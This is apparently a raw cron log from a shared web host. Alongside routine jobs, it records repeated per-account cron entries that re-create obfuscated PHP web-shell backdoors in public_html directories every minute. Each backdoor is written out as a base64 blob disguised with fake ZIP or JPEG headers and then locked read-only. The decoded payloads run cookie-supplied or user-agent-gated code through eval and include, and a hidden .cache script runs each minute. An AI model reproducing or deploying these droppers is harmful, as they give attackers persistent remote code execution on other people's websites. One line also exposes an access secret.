Jun  7 05:41:01 medusa CROND[6624]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:41:01 medusa CROND[6626]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:41:01 medusa CROND[6632]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 05:41:01 medusa CROND[6633]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:41:01 medusa CROND[6634]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:41:01 medusa CROND[6635]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:41:01 medusa CROND[6637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:41:01 medusa CROND[6638]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:41:01 medusa CROND[6640]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:41:01 medusa CROND[6644]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:42:01 medusa CROND[8336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:42:02 medusa CROND[8345]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 05:42:02 medusa CROND[8346]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:42:02 medusa CROND[8348]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:42:02 medusa CROND[8349]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:42:02 medusa CROND[8350]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:42:02 medusa CROND[8351]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:42:02 medusa CROND[8352]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:42:02 medusa CROND[8353]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:42:02 medusa CROND[8354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:42:02 medusa CROND[8360]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:42:02 medusa CROND[8359]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:42:02 medusa CROND[8361]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:43:02 medusa CROND[9932]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:43:02 medusa CROND[9933]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 05:43:02 medusa CROND[9934]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 05:43:02 medusa CROND[9935]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
